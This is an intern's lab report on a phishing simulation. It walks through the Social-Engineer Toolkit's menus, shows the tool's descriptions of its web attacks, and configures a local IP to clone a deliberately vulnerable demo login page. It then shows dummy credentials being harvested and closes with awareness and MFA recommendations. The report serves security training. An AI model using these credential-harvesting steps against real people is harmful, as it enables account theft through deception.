

# FUTURE\_CS\_02 – Phishing Simulation Report

## FUTURE\_CS\_02 – Phishing Simulation Report

**Intern Name:** Sabarish V

**Date:** 6 June 2025

**Task:** Social Engineering & Phishing Simulation

**Target Platform:** Cloned login page

---

### 1. Task Objective

To demonstrate the process of designing and executing a basic phishing simulation using SET (Social Engineering Toolkit).

The goal was to simulate credential harvesting and showcase how users can be deceived via realistic phishing pages.

---

### 2. Tools and Environment

Tool/Component	Description
SET Toolkit	For cloning and simulating phishing
Kali Linux	Linux-based system to run SET
Web Browser	To preview and interact with phishing page
Local Network	To host and access the phishing site

---

### 3. Execution Workflow

Step 1: Launching the Toolkit

...

- Social-Engineering Attacks
- Website Attack Vectors
- Credential Harvester Attack Method
- Site Cloner

- Social-Engineering Attacks
- Website Attack Vectors
- Credential Harvester Attack Method
- Site Cloner

```
File Actions Edit View Help

The Social-Engineer Toolkit (SET)
Created by: David Kennedy (Relix)
Version: 0.8.2
Codename: "Havestick"
Follow us on Twitter: @TrusteSec
Follow us on Twitter: @acknowledge
Homepage: http://www.trustedsec.com
Welcome to the Social-Engineer Toolkit (SET).
The one stop shop for all of your SE needs.

The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://www.trustedsec.com

It's easy to update using the Perforce Framework (PFF)
Visit https://github.com/trustedsec/pff to update all your tools!

Unable to check for new version of SET (is your network up?)

Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector
9) Powershell Attack Vectors
10) Third Party Modules
99) Return back to the main menu.

SET> 2

The Web Attack module is a unique way of utilizing multiple web-based attacks in order to compromise the intended victim.
The Java Applet Attack method will spoof a Java Certificate and deliver a Metasploit-based payload. Uses a customized java applet created by Thomas Werth to deliver the payload.
The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload.
The Credential Harvester method will utilize web cloning of a web-site that has a username and password field and harvest all the information posted to the website.
The Tabnabbing method will wait for a user to move to a different tab, then refresh the page to something different.
The Web-Jacking Attack method was introduced by white, sheep, agent. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set.config if it's too slow/fast.
The Multi-Attack method will add a combination of attacks through the web attack menu. For example, you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing all at once to see which is successful.
```

### Step 3: Input Configuration

- **Local IP:** 192.168.1.9
- **Target URL:** <https://attackdefense.com/loginpage.html>

```
— * IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT * —

The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this
could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important:


If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL
IP address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesn't know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perspective, it will not work. This isn't a SET issue
this is how networking works.

set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.1.9]: 192.168.1.9
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone: http://testphp.vulnweb.com/login.php
```

### Step 4: Hosting the Phishing Page

- Access the cloned site at: <http://192.168.1.9>

---




TEST and Demonstration site for **Acunetix Web Vulnerability Scanner**

[home](#) | [categories](#) | [artists](#) | [disclaimer](#) | [your cart](#) | [guestbook](#) | [AJAX Demo](#)

search art

[Browse categories](#)  
[Browse artists](#)  
[Your cart](#)  
[Signup](#)  
[Your profile](#)  
[Our guestbook](#)  
[AJAX Demo](#)  
  
**Links**  
[Security art](#)  
[PHP scanner](#)  
[PHP vuln help](#)  
[Fractal Explorer](#)

If you are already registered please enter your login information below:  
  
Username :   
Password :   
  
  
You can also [signup here](#).  
Signup disabled. Please use the username **test** and the password **test**.



[About Us](#) | [Privacy Policy](#) | [Contact Us](#) | ©2019 Acunetix Ltd

**Warning:** This is not a real shop. This is an example PHP application, which is intentionally vulnerable to web attacks. It is intended to help you test Acunetix. It also helps you understand how developer errors and bad configuration may let someone break into your website. You can use it to test other tools and your manual hacking skills as well. Tip: Look for potential SQL injections, Cross-site Scripting (XSS), and Cross-site Request Forgery (CSRF), and more.

[testphp.vulnweb.com/disclaimer.php](#)

---

## Step 5: Simulating User Entry

- Dummy credentials entered to simulate victim behavior.





## Step 6: Credential Logging

```
***  
[*] WE GOT A HIT!  
[*] Username: testuser  
[*] Password: fakepassword123  
***
```

## ✓ 4. Conclusion

- Phishing simulation executed successfully using SET.
- Cloned websites are highly effective at fooling users.
- Minimal attacker resources are required.
- Credential harvesting took just seconds after interaction.

## 5. Recommendations

-  Conduct regular **security awareness training**
  -  Promote a culture of "**verify before you click**"
  -  Use **email filters, phishing simulations,** and **MFA**
  -  Monitor logs and user behavior for anomalies
- 

## 6. References

- [SET Tool - Kali Linux](#)
- [OWASP: Phishing Guide](#)
- [AttackDefense Labs](#)